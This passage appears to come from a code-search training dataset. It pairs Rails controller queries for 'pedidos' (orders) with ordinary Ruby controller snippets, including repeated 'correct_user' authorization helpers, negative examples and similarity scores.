unless current_user?(@user)\n\tend", "def correct_user\n\t\t@user = User.find(params[:id])\n\t\tredirect_to(root_url) unless current_user?(@user)\n\tend", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def confirm_matching\n @user = User.find(params[:id])\n redirect_to root_path unless current_user? @user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(user_root_path,:notice => 'You cannot access this page') unless current_user == @user\n end", "def correct_user\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to root_url, notice: \"You do not have permission to view or edit this information because it isn't yours.\" unless current_user?(@user)\n end", "def correct_user\n \n redirect_to(login_path) unless current_user?(@user)\n end" ]
[ "0.7474259", "0.73411936", "0.7317917", "0.7183303", "0.7174887", "0.7049758", "0.70130193", "0.7012358", "0.7006517", "0.7006201", "0.7003461", "0.69663024", "0.69136065", "0.6911695", "0.690295", "0.6892608", "0.68439376", "0.6842948", "0.68397075", "0.683463", "0.6826711", "0.6825813", "0.6811448", "0.680094", "0.67988366", "0.6793706", "0.67789406", "0.67666626", "0.67421", "0.6740984", "0.6740906", "0.6732851", "0.67279315", "0.6725006", "0.6723821", "0.67211986", "0.67211986", "0.67211986", "0.67211986", "0.67211986", "0.67211986", "0.67211986", "0.67211986", "0.6720861", "0.6715527", "0.6711952", "0.6684064", "0.66769403", "0.66658443", "0.6663128", "0.6663128", "0.6663128", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.6658565", "0.66540176", "0.6653203", "0.66520107", "0.664873", "0.66435707" ]
0.6736732
39
GET /pedidos GET /pedidos.json
def index @titulo = "Listado de Pedidos" @clase = "Pedidos" @pedidos = Pedido.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @pedidos = Pedido.find(:all, :conditions => [\"cliente_id=?\", session[:usuario_id]])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pedidos }\n end\n end", "def show\n @pedido = Pedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pedido }\n end\n end", "def show\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n \t\t\trender json: @usuario.pedidos.find(@pedido.id)\n \t\telse\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n \t\t\trender json: @negocio.pedidos.find(@pedido.id)\n \t\tend\n \tend", "def index\n @pedidos = Pedido.find(:all,:conditions=> {:status => [0], :user_id => current_user.id})\n if @pedidos.count > 0\n @imagen_pedidos = @pedidos[0].imagen_pedidos\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @imagen_pedidos }\n end\n else\n redirect_to pedidos_path, notice: 'No tiene pedidos pendientes'\n end\n end", "def index\n @pedidos = Pedido.all\n end", "def index\n @peds = Ped.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peds }\n end\n end", "def index\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n authorize! :show, @usuario\n \t\t\t@usuario.pedidos.reload\n \t\t\trender json: @usuario.pedidos\n \t\telse\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n authorize! :update, @negocio\n \t\t@negocio.pedidos.reload\n \t\trender json: @negocio.pedidos\n \t\tend\n \tend", "def index\n @departamentos = Departamento.all\n\n render json: @departamentos\n end", "def show\n @pedidos = @cliente.pedidos.paginate(:page => params[:page], :per_page => 25).order('created_at DESC')\n end", "def index\n @pedido_produtos = PedidoProduto.where(pedido_id: @pedido.id)\n end", "def index\n @pedidos = Pedido.order(:id).page(params['page']).per(5)\n if params[:search] != \"\"\n @pedidos = Pedido.search(params[:search]).page(params['page']).per(5)\n else\n @pedidos = Pedido.all.page(params['page']).per(5)\n end\n end", "def show\n @ped = Ped.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ped }\n end\n end", "def index\n @local_pedidos = LocalPedido.all\n end", "def index\n @dinos = Dino.where(query_params)\n render json: @dinos\n end", "def show\n @pedidodetalle = Pedidodetalle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pedidodetalle }\n end\n end", "def new\n @pedido = Pedido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pedido }\n end\n end", "def index\n @produto_pedidos = ProdutoPedido.all\n end", "def index\n @produto_pedidos = ProdutoPedido.all\n end", "def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end", "def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end", "def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end", "def show\n render json: @departamento\n end", "def index\n @pedidos = Pedido.all(:order => \"fecha ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pedidos }\n end\n end", "def index\n @palestrantes = Palestrante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @palestrantes }\n end\n end", "def index\n @ped_programs = PedProgram.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ped_programs }\n end\n end", "def show\n @local_deportivo = LocalDeportivo.find(params[:id], :conditions=> \"estado = 'C' OR estado is NULL\")\n \n @espacio_deportivos = @local_deportivo.espacio_deportivos.find(:all)\n \n \n respond_to do |format|\n format.html \n format.json { render json: {:espacio_deportivos =>@espacio_deportivos, :local_deportivo => @local_deportivo }}\n end\n \n end", "def index\n @prueba_jsons = PruebaJson.all\n end", "def index\n @preparatoria_o_universidad_de_origens = PreparatoriaOUniversidadDeOrigen.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origens }\n end\n end", "def show\n @puestos_entidad = PuestosEntidad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puestos_entidad }\n end\n end", "def show\n @cliente = Cliente.find(params[:cliente_id])\n @pago = @cliente.pagos.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pago }\n end\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end", "def index\n @ordenes = Orden.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordenes }\n end\n end", "def index\n @parishes = Parish.all\n\n render json: @parishes\n end", "def show\n @pedido = Pedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pedido }\n end\n end", "def index\n @detpedidos = Detpedido.all\n end", "def destroy\n @pedido.destroy\n respond_to do |format|\n format.html { redirect_to pedidos_url }\n format.json { head :no_content }\n end\n end", "def index\n @ventas = Venta.order(\"fecha desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas }\n end\n end", "def index\n @pagamentos = Pagamento.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pagamentos }\n end\n end", "def index\n @enderecos = Endereco.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enderecos }\n end\n end", "def index\n @pagamentos = Pagamento.page(params[:page]).per(NUMERO_POR_PAGINA)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pagamentos }\n end\n end", "def index\n @ordens = Orden.all\n render json: @ordens\n end", "def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end", "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end", "def index\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n render json: @usuario.productos\n else\n @productos = Producto.all\n render json: @productos\n end\n end", "def index\n @tutorados = Tutorado.all\n\n render json: @tutorados, status: :ok\n end", "def index\n @detalles = Detalle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @detalles }\n end\n end", "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end", "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end", "def index\n seleccionarMenu(:juzgados)\n @juzgados = Juzgado.order(:ciudad_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @juzgados }\n end\n end", "def destroy\n @pedido = Pedido.find(params[:id])\n @pedido.destroy\n\n respond_to do |format|\n format.html { redirect_to pedidos_url }\n format.json { head :no_content }\n end\n end", "def index\n @contato_produtos = ContatoProduto.all.sort! { |a,b| b.id <=> a.id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contato_produtos }\n end\n end", "def show\n @plato = Plato.find(params[:id])\n\n if !@plato.comentario.first.nil?\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id], include: [comentario:{only: [:id]}])\n else\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id])\n end\n end", "def show\n @descuento = Descuento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @descuento }\n end\n end", "def show\n @espacio_deportivo = EspacioDeportivo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @espacio_deportivo }\n end\n end", "def index\n\n if params[:ventas_seguimiento]\n cliente_id = params[:ventas_seguimiento][:cliente_id]\n @ventas_seguimientos = Ventas::Seguimiento.where(\"cliente_id = ?\",cliente_id).order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n @seguimientos = Ventas::Seguimiento.new(:cliente_id => cliente_id)\n else\n @ventas_seguimientos = Ventas::Seguimiento.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n @seguimientos = Ventas::Seguimiento.new\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas_seguimientos }\n end\n end", "def index\n @deporte_usuarios = DeporteUsuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deporte_usuarios }\n end\n end", "def index\n @deportes = Deporte.all\n render json: @deportes, status: :ok \n @deportes = Deporte.paginate(:page => params[:page])\n end", "def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end", "def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @peso }\n end\n end", "def index\n por_pagina = params[:por_pagina] || 18\n @productos = Producto.paginate(page: params[:page], per_page: por_pagina).includes(:fotos)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @productos }\n end\n end", "def index\n @puntajes = Puntaje.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @puntajes }\n end\n end", "def show\n @arquivo = Arquivo.find(params[:id])\n @comentarios = Comentario.where(:comentavel_id => @arquivo.id, :comentavel_type => \"Arquivo\").order('created_at DESC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arquivo }\n end\n end", "def index\n @antecedentes = Antecedente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @antecedentes }\n end\n end", "def show\n @pagamento = Pagamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pagamento }\n end\n end", "def show\n @pagamento = Pagamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pagamento }\n end\n end", "def show\n @pagamento = Pagamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pagamento }\n end\n end", "def show\n @clientepedido = Clientepedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientepedido }\n end\n end", "def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end", "def index\n @q = Pedido.ransack(params[:q])\n @pedidos = @q.result.includes(:user).paginate(page: params[:page], per_page: 10).order('created_at DESC')\n end", "def index\n @ativo_outros = AtivoOutro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ativo_outros }\n end\n end", "def index\n @vehicule_persos = VehiculePerso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @vehicule_persos }\n end\n end", "def etiquetas_por_aluno\n logger.info(params)\n @etiquetas_aluno = Etiqueta.all.where(aluno_id: params[:aluno_id])\n respond_with @etiquetas_aluno\n end", "def show\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @asiento }\n end\n end", "def index\n if params[:propietario]\n @usuario = Usuario.find(params[:usuario_id])\n authorize! :show, @usuario\n @negocios_propios = Usuario.find(params[:usuario_id]).negocios_propios\n render json: @negocios_propios,\n root: 'negocios_propios',\n each_serializer: NegocioPropioSerializer\n else\n @negocios = Negocio.all\n render json: @negocios\n end\n end", "def index\n @pedidos = Pedido.where(:userID => current_user.id).order(\"id desc\")\n end", "def show\n @partecipante = Partecipante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @partecipante }\n end\n end", "def show\n @local_deportivo = LocalDeportivo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @local_deportivo }\n end\n end", "def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end", "def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end", "def show\n @estacionamiento = Estacionamiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estacionamiento }\n end\n end", "def show\n @contato_produto = ContatoProduto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contato_produto }\n end\n end", "def index\n @pedido_publicos = PedidoPublico.all\n end", "def show\n @noto = Noto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @noto }\n end\n end", "def get_ponto\n render json: Usuario.ultimo_ponto(params[:user_id], params[:evento_id]).to_json\n end", "def destroy\n @local_pedido.destroy\n respond_to do |format|\n format.html { redirect_to local_pedidos_url }\n format.json { head :no_content }\n end\n end", "def show\n render json: @parish\n end", "def show\n @preparatoria_o_universidad_de_origen = PreparatoriaOUniversidadDeOrigen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origen }\n end\n end", "def index\n @pedidos_has_pratos = PedidosHasPrato.all\n end", "def index\n\t\texecutar_acoes\n\t\t@pontos = PontoInteresse.all.order(\"enable DESC, denuncias_count DESC, created_at DESC\").page(params[:page])\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @pontos }\n\t\tend\n\tend", "def index\n @archdioceses = Archdiocese.all\n\n render json: @archdioceses\n end", "def index\n @notadedebito = Notadedebito.find(params[:notadecredito_id])\n @renglon_notadebitos = @notadedebito.renglon_notadebitos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_notadebitos }\n end\n end", "def show\n @tipo_pensum = TipoPensum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_pensum }\n end\n end", "def index\n find_organismos\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @organismos }\n end\n end", "def show\n @venta = Venta.find(params[:id])\n\n @domicilios = Domicilio.where(usuario_id: @venta.usuario.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venta }\n end\n end", "def get_modelos\n marca = Marca.find(params[:marca_id])\n @modelos = Modelo.of_marca(marca.id)\n\n render json: @modelos\n\n end", "def show\n @coligacao_partido = ColigacaoPartido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coligacao_partido }\n end\n end", "def index\n @poms = Pom.all\n\n respond_to do |format|\n # just poms\n format.json { render json: @poms, :except => [:created_at, :updated_at]}\n end\n end", "def index\n @itemtipos = Itemtipo.all\n\n render json: @itemtipos\n end", "def index\n @seguridad_usuarios = Seguridad::Usuario.order('usuario')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @seguridad_usuarios }\n end\n end", "def show\n @serv_adicionale = ServAdicionale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serv_adicionale }\n end\n end" ]
[ "0.747071", "0.7284166", "0.7139874", "0.7077127", "0.69721276", "0.6797264", "0.67113876", "0.65911716", "0.6536522", "0.6536243", "0.6512971", "0.651051", "0.64852196", "0.64847046", "0.6455422", "0.6450327", "0.64078474", "0.64078474", "0.63977134", "0.6377617", "0.63415474", "0.6341338", "0.63285416", "0.6320912", "0.63030195", "0.63023716", "0.6258854", "0.6255441", "0.6253734", "0.62396014", "0.6235427", "0.62278515", "0.62260383", "0.6204141", "0.61839694", "0.61817896", "0.6175898", "0.61742276", "0.61649007", "0.61600363", "0.6156067", "0.6148208", "0.61438864", "0.6139427", "0.61359245", "0.6133815", "0.6126381", "0.6126381", "0.6121951", "0.6120257", "0.611304", "0.6112002", "0.6098203", "0.60922843", "0.6088532", "0.60856956", "0.60630447", "0.6062865", "0.60607284", "0.6057638", "0.60552233", "0.6055169", "0.60536516", "0.60438", "0.60438", "0.60438", "0.60426474", "0.6041376", "0.60345846", "0.60266316", "0.6026153", "0.6025504", "0.60233307", "0.6019141", "0.6009282", "0.60086274", "0.6007915", "0.5994343", "0.5994343", "0.59852225", "0.59753793", "0.59751236", "0.5971502", "0.59692675", "0.59675324", "0.59650505", "0.5964678", "0.5959349", "0.59509116", "0.5947859", "0.59467345", "0.59430426", "0.5939038", "0.59380347", "0.5937388", "0.5933644", "0.5932815", "0.5926879", "0.59267294", "0.59260374" ]
0.6442838
16
GET /pedidos/1 GET /pedidos/1.json
def show @titulo = "Ver Pedido" @clase = "Pedidos" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @pedido = Pedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pedido }\n end\n end", "def index\n @pedidos = Pedido.find(:all, :conditions => [\"cliente_id=?\", session[:usuario_id]])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pedidos }\n end\n end", "def index\n @pedidos = Pedido.find(:all,:conditions=> {:status => [0], :user_id => current_user.id})\n if @pedidos.count > 0\n @imagen_pedidos = @pedidos[0].imagen_pedidos\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @imagen_pedidos }\n end\n else\n redirect_to pedidos_path, notice: 'No tiene pedidos pendientes'\n end\n end", "def show\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n \t\t\trender json: @usuario.pedidos.find(@pedido.id)\n \t\telse\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n \t\t\trender json: @negocio.pedidos.find(@pedido.id)\n \t\tend\n \tend", "def show\n @ped = Ped.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ped }\n end\n end", "def index\n @peds = Ped.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peds }\n end\n end", "def show\n @pedidodetalle = Pedidodetalle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pedidodetalle }\n end\n end", "def index\n @pedidos = Pedido.all\n end", "def show\n @cliente = Cliente.find(params[:cliente_id])\n @pago = @cliente.pagos.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pago }\n end\n end", "def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end", "def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end", "def new\n @pedido = Pedido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pedido }\n end\n end", "def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @peso }\n end\n end", "def show\n @descuento = Descuento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @descuento }\n end\n end", "def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end", "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end", "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end", "def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end", "def show\n @pedidos = @cliente.pedidos.paginate(:page => params[:page], :per_page => 25).order('created_at DESC')\n end", "def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end", "def show\n @pologeno = Pologeno.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pologeno }\n end\n end", "def index\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n authorize! :show, @usuario\n \t\t\t@usuario.pedidos.reload\n \t\t\trender json: @usuario.pedidos\n \t\telse\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n authorize! :update, @negocio\n \t\t@negocio.pedidos.reload\n \t\trender json: @negocio.pedidos\n \t\tend\n \tend", "def show\n @puestos_entidad = PuestosEntidad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puestos_entidad }\n end\n end", "def index\n @departamentos = Departamento.all\n\n render json: @departamentos\n end", "def index\n @pedido_produtos = PedidoProduto.where(pedido_id: @pedido.id)\n end", "def show\n @tipo_pensum = TipoPensum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_pensum }\n end\n end", "def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produto }\n end\n end", "def show\n @pagamento = Pagamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pagamento }\n end\n end", "def show\n @pagamento = Pagamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pagamento }\n end\n end", "def show\n @pagamento = Pagamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pagamento }\n end\n end", "def show\n render json: @departamento\n end", "def show\n @serv_adicionale = ServAdicionale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serv_adicionale }\n end\n end", "def show\n @plato = Plato.find(params[:id])\n\n if !@plato.comentario.first.nil?\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id], include: [comentario:{only: [:id]}])\n else\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id])\n end\n end", "def show\n @pedido = Pedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pedido }\n end\n end", "def show\n @contato_produto = ContatoProduto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contato_produto }\n end\n end", "def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end", "def show\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @servicio }\n end\n end", "def index\n @dinos = Dino.where(query_params)\n render json: @dinos\n end", "def show\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premio }\n end\n end", "def show\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @respuesta }\n end\n end", "def show\n @local_deportivo = LocalDeportivo.find(params[:id], :conditions=> \"estado = 'C' OR estado is NULL\")\n \n @espacio_deportivos = @local_deportivo.espacio_deportivos.find(:all)\n \n \n respond_to do |format|\n format.html \n format.json { render json: {:espacio_deportivos =>@espacio_deportivos, :local_deportivo => @local_deportivo }}\n end\n \n end", "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end", "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n # format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end", "def show\n @osoba = Osoba.find(params[:id])\n\n render json: @osoba\n end", "def show\n @clientepedido = Clientepedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientepedido }\n end\n end", "def show\n @noto = Noto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @noto }\n end\n end", "def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estudiante }\n end\n end", "def show\n @partecipante = Partecipante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @partecipante }\n end\n end", "def index\n @palestrantes = Palestrante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @palestrantes }\n end\n end", "def show\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_vehiculo }\n end\n end", "def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end", "def show\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @asiento }\n end\n end", "def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end", "def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end", "def show\n @expediente = Expediente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expediente }\n end\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # 